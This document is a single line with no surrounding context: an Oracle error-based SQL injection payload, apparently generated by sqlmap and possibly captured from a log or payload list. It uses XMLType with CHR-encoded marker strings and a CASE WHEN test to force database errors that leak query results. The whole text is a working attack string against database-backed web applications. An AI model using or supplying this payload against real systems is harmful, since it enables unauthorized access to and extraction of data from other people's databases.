555+(SELECT uKov WHERE 5307=5307 AND 6751=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(118)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (6751=6751) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(106)||CHR(106)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL))+